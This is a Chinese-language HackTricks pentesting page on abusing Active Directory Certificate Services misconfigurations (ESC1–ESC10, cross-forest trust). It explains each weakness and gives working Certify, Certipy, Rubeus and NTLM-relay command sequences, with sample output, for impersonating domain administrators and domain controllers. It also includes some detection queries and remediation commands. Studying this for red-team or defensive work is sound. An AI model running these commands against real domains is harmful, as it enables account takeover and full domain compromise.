37 KiB
AD CS域提升
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗？你想在HackTricks中看到你的公司广告吗？或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗？请查看订阅计划！
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
错误配置的证书模板 - ESC1
解释
- 企业CA授予低权限用户注册权限
- 禁用了经理批准
- 不需要授权签名
- 过于宽松的证书模板安全描述符授予低权限用户证书注册权限
- 证书模板定义了启用身份验证的EKU：
- 客户端身份验证（OID 1.3.6.1.5.5.7.3.2），PKINIT客户端身份验证（1.3.6.1.5.2.3.4），智能卡登录（OID 1.3.6.1.4.1.311.20.2.2），任何用途（OID 2.5.29.37.0），或无EKU（子CA）
- 证书模板允许请求者在CSR中指定subjectAltName：
- AD将使用由证书的subjectAltName（SAN）字段指定的身份**（如果存在）。因此，如果请求者可以在CSR中指定SAN，请求者可以以任何人的身份请求证书**（例如，域管理员用户）。证书模板的AD对象指定请求者是否可以在其**
mspki-certificate-name-flag属性中指定SAN。mspki-certificate-name-flag属性是一个位掩码**，如果**存在****CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**标志，请求者可以指定SAN。
{% hint style="danger" %} 这些设置允许低权限用户使用任意SAN请求证书，从而允许低权限用户通过Kerberos或SChannel以任何主体在域中进行身份验证。 {% endhint %}
通常情况下，这是启用的，例如，允许产品或部署服务生成HTTPS证书或即时生成主机证书。或者是由于缺乏知识。
请注意，当创建具有此最后选项的证书时，会出现警告，但如果复制具有此配置的证书模板（例如具有启用CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT的WebServer模板），则不会出现警告，然后管理员可能会添加身份验证OID。
滥用
要查找易受攻击的证书模板，可以运行：
Certify.exe find /vulnerable
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
为了滥用这个漏洞来冒充管理员，可以运行以下命令：
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
然后，您可以将生成的证书转换为 .pfx 格式，并再次使用 Rubeus 或 certipy 进行身份验证：
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
Windows二进制文件"Certreq.exe"和"Certutil.exe"可以被滥用来生成PFX：https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
此外，当针对AD Forest的配置模式运行以下LDAP查询时，可以用于枚举****不需要批准/签名的证书模板，这些模板具有客户端身份验证或智能卡登录EKU，并且启用了**CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**标志：
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
错误配置的证书模板 - ESC2
解释
第二种滥用场景是第一种的变体：
- 企业 CA 授予低权限用户注册权限。
- 管理员批准被禁用。
- 不需要授权签名。
- 过于宽松的证书模板安全描述符授予低权限用户证书注册权限。
- 证书模板定义了任意用途 EKU 或没有 EKU。
任意用途 EKU 允许攻击者获取用于客户端身份验证、服务器身份验证、代码签名等任何用途的 证书。可以使用与 ESC3 相同的技术来滥用此功能。
没有 EKU 的证书 - 一个下级 CA 证书 - 也可以滥用于 任何用途，但还可以用于 签署新证书。因此，使用下级 CA 证书，攻击者可以在新证书中指定任意的 EKU 或字段。
然而，如果 下级 CA 未被NTAuthCertificates对象信任（默认情况下不会被信任），攻击者将无法创建适用于 域身份验证 的 新证书。尽管如此，攻击者仍然可以创建具有任何 EKU 和任意证书值的新证书，其中有很多潜在的滥用可能性（例如，代码签名、服务器身份验证等），并且可能对网络中的其他应用程序（如 SAML、AD FS 或 IPSec）产生重大影响。
以下 LDAP 查询在针对 AD Forest 的配置模式运行时，可用于枚举与此场景匹配的模板：
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
错误配置的注册代理模板 - ESC3
解释
这种情况与前两种情况类似，但滥用了不同的 EKU（证书请求代理）和 2 种不同的模板（因此有 2 组要求）。
在 Microsoft 文档中，证书请求代理 EKU（OID 1.3.6.1.4.1.311.20.2.1），也称为注册代理，允许主体代表另一个用户申请证书。
“注册代理”在这种模板中进行注册，并使用生成的证书共同签署代表其他用户的 CSR。然后，它将共同签署的 CSR发送给 CA，在允许“代表申请”的模板中进行注册，CA 会响应一个属于“其他”用户的证书。
要求 1：
- 企业 CA 允许低权限用户进行注册。
- 管理员批准已禁用。
- 不需要授权签名。
- 过于宽松的证书模板安全描述符允许低权限用户进行证书注册。
- 证书模板定义了证书请求代理 EKU。证书请求代理 OID（1.3.6.1.4.1.311.20.2.1）允许代表其他主体请求其他证书模板。
要求 2：
- 企业 CA 允许低权限用户进行注册。
- 管理员批准已禁用。
- 模板模式版本为 1 或大于 2，并指定了一个应用策略发行要求，要求证书请求代理 EKU。
- 证书模板定义了一个允许域身份验证的 EKU。
- CA 上未实施注册代理限制。
滥用
您可以使用 Certify 或 Certipy 来滥用这种情况：
# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'
# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
企业CA可以通过打开certsrc.msc快捷方式->右键单击CA->点击属性->导航到“Enrollment Agents”选项卡来限制可以获取“注册代理证书”的用户、注册代理可以注册的模板以及注册代理可以代表的帐户。
然而，默认的CA设置是“不限制注册代理”。即使管理员启用了“限制注册代理”，默认设置也非常宽松，允许任何人以任何身份访问所有模板。
可漏洞的证书模板访问控制 - ESC4
解释
证书模板具有指定AD主体对模板具有特定权限的安全描述符。
如果攻击者具有足够的权限来修改模板并创建先前部分中的任何可利用的配置错误，他将能够利用它并提升权限。
证书模板的有趣权限：
- 所有者：隐式完全控制对象，可以编辑任何属性。
- FullControl：完全控制对象，可以编辑任何属性。
- WriteOwner：可以将所有者修改为受攻击者控制的主体。
- WriteDacl：可以修改访问控制以授予攻击者FullControl。
- WriteProperty：可以编辑任何属性。
滥用
一个类似于之前的权限提升的示例：
ESC4是指用户对证书模板具有写权限。例如，可以滥用此权限来覆盖证书模板的配置，使模板容易受到ESC1的攻击。
如上所示的路径中，只有JOHNPC具有这些权限，但我们的用户JOHN具有到JOHNPC的新的AddKeyCredentialLink边缘。由于此技术与证书相关，我也实现了这种攻击，即Shadow Credentials。这是Certipy的shadow auto命令的一小部分，用于检索受害者的NT哈希。
Certipy可以通过一个命令覆盖证书模板的配置。默认情况下，Certipy将覆盖配置以使其易受ESC1的攻击。我们还可以使用-save-old参数指定保存旧配置，这在攻击后恢复配置时非常有用。
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
脆弱的PKI对象访问控制 - ESC5
解释
与AD CS安全相关的互连ACL关系网络非常广泛。除了证书模板和证书颁发机构本身之外，还有一些对象可以对整个AD CS系统的安全产生影响。这些可能性包括（但不限于）：
- CA服务器的AD计算机对象（例如，通过S4U2Self或S4U2Proxy进行攻击）
- CA服务器的RPC/DCOM服务器
- 容器
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>中的任何后代AD对象或容器（例如，证书模板容器、证书颁发机构容器、NTAuthCertificates对象、Enrollment Services容器等）
如果低权限的攻击者能够控制其中任何一个，攻击很可能会危及PKI系统。
EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
解释
还有另一个类似的问题，描述在CQure Academy的文章中，涉及到**EDITF_ATTRIBUTESUBJECTALTNAME2标志。正如微软所描述的，“如果在CA上设置了此标志，任何请求（包括从Active Directory®构建主体时）都可以在主体备用名称中具有用户定义的值**。”
这意味着攻击者可以在任何配置为域身份验证的模板中注册（例如，默认的用户模板），并获得一个允许我们以域管理员（或任何其他活动用户/机器）身份进行身份验证的证书。
注意：这里的备用名称通过certreq.exe的-attrib "SAN:"参数（即“名称值对”）包含在CSR中。这与在ESC1中滥用SAN的方法不同，因为它将帐户信息存储在证书属性中而不是证书扩展中。
滥用
组织可以使用以下certutil.exe命令检查是否启用了该设置：
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
在底层，这只是使用了远程****注册表，所以下面的命令也可能有效：
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
Certify和Certipy也可以检查此问题，并可用于滥用此错误配置：
# Check for vulns, including this one
Certify.exe find
# Abuse vuln
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
这些设置可以在任何系统上进行设置，假设具有域管理员（或等效）权限：
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
如果您在您的环境中找到此设置，您可以使用以下方法移除此标志：
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
{% hint style="warning" %}
在2022年5月的安全更新之后，新的证书将具有一个安全扩展，其中嵌入了请求者的objectSid属性。对于ESC1，此属性将从指定的SAN中反映出来，但对于ESC6，此属性反映的是请求者的objectSid，而不是来自SAN。
因此，要滥用ESC6，环境必须容易受到ESC10的攻击（弱证书映射），其中SAN优先于新的安全扩展。
{% endhint %}
可被攻击的证书颁发机构访问控制 - ESC7
攻击1
解释
证书颁发机构本身具有一组权限，用于保护各种CA操作。可以通过certsrv.msc访问这些权限，右键单击CA，选择属性，然后切换到安全选项卡：
也可以使用PSPKI模块通过Get-CertificationAuthority | Get-CertificationAuthorityAcl进行枚举：
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access
这里的两个主要权限是**ManageCA权限和ManageCertificates**权限，分别对应“CA管理员”和“证书管理员”。
滥用
如果你有一个拥有证书颁发机构上的**ManageCA权限的主体，我们可以使用PSPKI远程翻转EDITF_ATTRIBUTESUBJECTALTNAME2**位，以允许在任何模板中指定SAN（ECS6）：
这也可以通过PSPKI的Enable-PolicyModuleFlag cmdlet以更简单的形式实现。
ManageCertificates权限允许批准待处理请求，从而绕过“CA证书管理员批准”保护。
你可以使用Certify和PSPKI模块的组合来请求证书、批准证书并下载证书：
# Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response : The certificate is still pending.
[*] Request ID : 336
[...]
# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336
攻击2
解释
{% hint style="warning" %}
在之前的攻击中，使用了**Manage CA权限来启用EDITF_ATTRIBUTESUBJECTALTNAME2标志以执行ESC6攻击**，但在CA服务（CertSvc）重新启动之前，这不会产生任何效果。当用户具有Manage CA访问权限时，用户也被允许重新启动服务。然而，这并不意味着用户可以远程重新启动服务。此外，由于2022年5月的安全更新，ESC6在大多数已打补丁的环境中可能无法正常工作。
{% endhint %}
因此，这里提出了另一种攻击方法。
先决条件：
- 只有**
ManageCA权限** - **
Manage Certificates权限（可以从ManageCA**授予） - 必须启用证书模板**
SubCA（可以从ManageCA**启用）
该技术依赖于具有Manage CA和Manage Certificates访问权限的用户可以发出失败的证书请求。SubCA证书模板容易受到ESC1攻击，但只有管理员可以在模板中注册。因此，用户可以请求注册**SubCA，然后被管理员拒绝**，但之后由管理员签发。
滥用
您可以通过将您的用户添加为新的官员来**授予自己Manage Certificates**访问权限。
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
SubCA 模板可以使用 -enable-template 参数在 CA 上启用。默认情况下，SubCA 模板已启用。
# List templates
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it
# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
如果我们已经满足了这次攻击的前提条件，我们可以开始基于SubCA模板请求证书。
这个请求将会被拒绝，但是我们会保存私钥并记录请求ID。
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
通过我们的**Manage CA和Manage Certificates，我们可以使用ca命令和-issue-request <request ID>参数来发出失败的证书**请求。
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
最后，我们可以使用req命令和-retrieve <request ID>参数检索已发行的证书。
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
NTLM Relay攻击AD CS HTTP端点 - ESC8
解释
{% hint style="info" %}
简而言之，如果一个环境中安装了AD CS，以及一个存在漏洞的Web注册端点和至少一个允许域计算机注册和客户端身份验证的证书模板（如默认的**Machine模板），那么攻击者可以入侵任何运行打印机服务的计算机**！
{% endhint %}
AD CS支持多种基于HTTP的证书申请方法，管理员可以安装其他AD CS服务器角色来使用这些HTTP证书申请接口。这些基于HTTP的证书申请接口都是易受NTLM Relay攻击的。使用NTLM Relay，攻击者可以在受攻击的计算机上冒充任何入站NTLM身份验证的AD账户。在冒充受害者账户的同时，攻击者可以访问这些Web接口，并基于User或Machine证书模板请求客户端身份验证证书。
- Web注册接口（一个外观较旧的ASP应用程序，可通过
http://<caserver>/certsrv/访问），默认仅支持HTTP，无法防止NTLM Relay攻击。此外，它明确只允许通过其Authorization HTTP头进行NTLM身份验证，因此更安全的协议如Kerberos无法使用。 - 证书申请服务（CES）、证书申请策略（CEP）Web服务和网络设备注册服务（NDES）默认支持通过其Authorization HTTP头进行协商身份验证。协商身份验证支持Kerberos和NTLM；因此，攻击者可以在中继攻击期间协商到NTLM身份验证。这些Web服务默认启用了HTTPS，但不幸的是，仅有HTTPS本身无法防止NTLM Relay攻击。只有当HTTPS与通道绑定结合使用时，HTTPS服务才能免受NTLM Relay攻击的影响。不幸的是，AD CS没有在IIS上启用扩展身份验证保护，这是启用通道绑定所必需的。
NTLM Relay攻击的常见问题是NTLM会话通常很短，并且攻击者无法与强制要求NTLM签名的服务进行交互。
然而，滥用NTLM Relay攻击以获取用户证书可以解决这些限制，因为会话将持续到证书失效，并且证书可以用于使用强制要求NTLM签名的服务。要了解如何使用窃取的证书，请查看：
{% content-ref url="account-persistence.md" %} account-persistence.md {% endcontent-ref %}
NTLM Relay攻击的另一个限制是需要一个受害者账户对攻击者控制的计算机进行身份验证。攻击者可以等待或尝试强制它：
{% content-ref url="../printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}
滥用
****Certify的cas命令可以枚举已启用的HTTP AD CS端点：
Certify.exe cas
企业CA还将CES端点存储在其AD对象的msPKI-Enrollment-Servers属性中。Certutil.exe和PSPKI可以解析和列出这些端点：
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
In some cases, an attacker may abuse the Certify tool to escalate privileges within an Active Directory domain. Certify is a command-line tool used for managing certificates in Windows environments.
在某些情况下，攻击者可能会滥用 Certify 工具来在 Active Directory 域中升级权限。Certify 是一个用于在 Windows 环境中管理证书的命令行工具。
To escalate privileges using Certify, the attacker needs to have access to a user account with the necessary permissions to manage certificates. Once access is obtained, the attacker can use Certify to generate a certificate signing request (CSR) for a domain controller.
要使用 Certify 升级权限，攻击者需要访问具有管理证书所需权限的用户帐户。一旦获得访问权限，攻击者可以使用 Certify 为域控制器生成证书签名请求（CSR）。
The attacker can then submit the CSR to a certificate authority (CA) and obtain a signed certificate. This signed certificate can be used to impersonate the domain controller and gain elevated privileges within the domain.
然后，攻击者可以将 CSR 提交给证书颁发机构（CA）并获得一个已签名的证书。这个已签名的证书可以用来冒充域控制器并在域内获得提升的权限。
To prevent this type of attack, it is important to ensure that only trusted users have the necessary permissions to manage certificates within the Active Directory domain. Regularly reviewing and auditing user permissions can help identify and mitigate potential vulnerabilities.
为了防止这种类型的攻击，重要的是确保只有受信任的用户具有在 Active Directory 域中管理证书所需的权限。定期审查和审核用户权限可以帮助识别和减轻潜在的漏洞。
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080
## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
使用Certipy进行滥用
默认情况下，Certipy将根据中继账户名称是否以$结尾来请求基于Machine或User模板的证书。可以使用-template参数指定其他模板。
然后，我们可以使用类似PetitPotam的技术来强制进行身份验证。对于域控制器，我们必须指定-template DomainController。
$ certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
无安全扩展 - ESC9
解释
ESC9指的是新的**msPKI-Enrollment-Flag值CT_FLAG_NO_SECURITY_EXTENSION（0x80000）。如果证书模板上设置了此标志，将不会嵌入新的szOID_NTDS_CA_SECURITY_EXT安全扩展**。ESC9只在StrongCertificateBindingEnforcement设置为1（默认值）时有用，因为较弱的Kerberos或Schannel证书映射配置可以被滥用为ESC10 - 在没有ESC9的情况下 - 因为要求是相同的。
StrongCertificateBindingEnforcement未设置为2（默认值：1）或CertificateMappingMethods包含UPN标志- 证书在
msPKI-Enrollment-Flag值中包含CT_FLAG_NO_SECURITY_EXTENSION标志 - 证书指定任何客户端身份验证EKU
- 通过任何帐户A的
GenericWrite来破坏任何帐户B
滥用
在这种情况下，John@corp.local具有对Jane@corp.local的GenericWrite权限，我们希望破坏Administrator@corp.local。Jane@corp.local被允许在指定了msPKI-Enrollment-Flag值中的CT_FLAG_NO_SECURITY_EXTENSION标志的证书模板ESC9中注册。
首先，我们使用例如Shadow Credentials（使用我们的GenericWrite）获取Jane的哈希。
接下来，我们将Jane的userPrincipalName更改为Administrator。注意，我们省略了@corp.local部分。
这不是违反约束，因为Administrator用户的userPrincipalName是Administrator@corp.local而不是Administrator。
现在，我们请求易受攻击的证书模板ESC9。我们必须以Jane的身份请求证书。
注意，证书中的userPrincipalName是Administrator，而发行的证书不包含“对象SID”。
然后，我们将Jane的userPrincipalName更改回其他内容，例如她原来的userPrincipalName Jane@corp.local。
现在，如果我们尝试使用该证书进行身份验证，我们将收到Administrator@corp.local用户的NT哈希。由于证书中没有指定域，您需要在命令行中添加-domain <domain>。
弱证书映射 - ESC10
解释
ESC10指的是域控制器上的两个注册表键值。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods。默认值为0x18（0x8 | 0x10），先前为0x1F。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement。默认值为1，先前为0。
情况1
StrongCertificateBindingEnforcement设置为0
情况2
CertificateMappingMethods包含UPN位（0x4）
滥用情况1
StrongCertificateBindingEnforcement设置为0- 通过任何帐户A的
GenericWrite来破坏任何帐户B
在这种情况下，John@corp.local具有对Jane@corp.local的GenericWrite权限，我们希望破坏Administrator@corp.local。滥用步骤与ESC9几乎相同，只是可以使用任何证书模板。
首先，我们使用例如Shadow Credentials（使用我们的GenericWrite）获取Jane的哈希。
接下来，我们将Jane的userPrincipalName更改为Administrator。注意，我们省略了@corp.local部分。
这不是违反约束，因为Administrator用户的userPrincipalName是Administrator@corp.local而不是Administrator。
现在，我们请求任何允许客户端身份验证的证书，例如默认的User模板。我们必须以Jane的身份请求证书。
注意，证书中的userPrincipalName是Administrator。
然后，我们将Jane的userPrincipalName更改回其他内容，例如她原来的userPrincipalName Jane@corp.local。
现在，如果我们尝试使用该证书进行身份验证，我们将收到Administrator@corp.local用户的NT哈希。由于证书中没有指定域，您需要在命令行中添加-domain <domain>。
滥用情况2
CertificateMappingMethods包含UPN位标志（0x4）- 通过任何帐户A的
GenericWrite来破坏没有userPrincipalName属性的任何帐户B（机器帐户和内置域管理员Administrator）
在这种情况下，John@corp.local具有对Jane@corp.local的GenericWrite权限，我们希望破坏域控制器DC$@corp.local。
首先，我们使用例如Shadow Credentials（使用我们的GenericWrite）获取Jane的哈希。
接下来，我们将Jane的userPrincipalName更改为DC$@corp.local。
这不是违反约束，因为DC$计算机帐户没有userPrincipalName。
现在，我们请求任何允许客户端身份验证的证书，例如默认的User模板。我们必须以Jane的身份请求证书。
现在，由于这个注册表键适用于Schannel，我们必须使用证书通过Schannel进行身份验证。这就是Certipy的新-ldap-shell选项的用途。
如果我们尝试使用证书和-ldap-shell进行身份验证，我们会注意到我们被认证为u:CORP\DC$。这是服务器发送的一个字符串。
LDAP shell的可用命令之一是set_rbcd，它将在目标上设置基于资源的受限委派（RBCD）。因此，我们可以执行RBCD攻击来破坏域控制器。
另外，我们还可以 compromise 任何没有设置userPrincipalName或userPrincipalName与该帐户的sAMAccountName不匹配的用户帐户。根据我的测试，默认的域管理员Administrator@corp.local默认情况下没有设置userPrincipalName，并且该帐户在LDAP中应该具有比域控制器更多的特权。
使用证书攻击 Forests
CAs 信任破坏 Forest Trusts
跨森林注册的设置相对简单。管理员将资源森林的根CA证书发布到帐户森林，并将资源森林的企业CA证书添加到每个帐户森林的**NTAuthCertificates和AIA容器中。明确地说，这意味着资源森林中的CA对其管理的所有其他森林具有完全控制权**。如果攻击者入侵了该CA，他们可以为资源和帐户森林中的所有用户伪造证书，从而破坏了森林的安全边界。
具有注册权限的外部主体
在多森林环境中，组织还需要注意企业CA发布授予身份验证用户或外部主体（属于企业CA所属森林之外的用户/组）注册和编辑权限的证书模板。
当帐户通过信任进行身份验证时，AD会将身份验证用户的SID添加到身份验证用户的令牌中。因此，如果一个域具有一个授予身份验证用户注册权限的企业CA模板，不同森林中的用户可能会注册该模板。同样，如果一个模板明确授予外部主体注册权限，那么将创建一个跨森林访问控制关系，允许一个森林中的主体在另一个森林中注册模板。
最终，这两种情况都会增加一个森林到另一个森林的攻击面。根据证书模板的设置，攻击者可以滥用此功能来在外部域中获得额外的特权。
参考资料
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗？想要在HackTricks中宣传你的公司吗？或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗？请查看订阅计划！
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组，或者在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。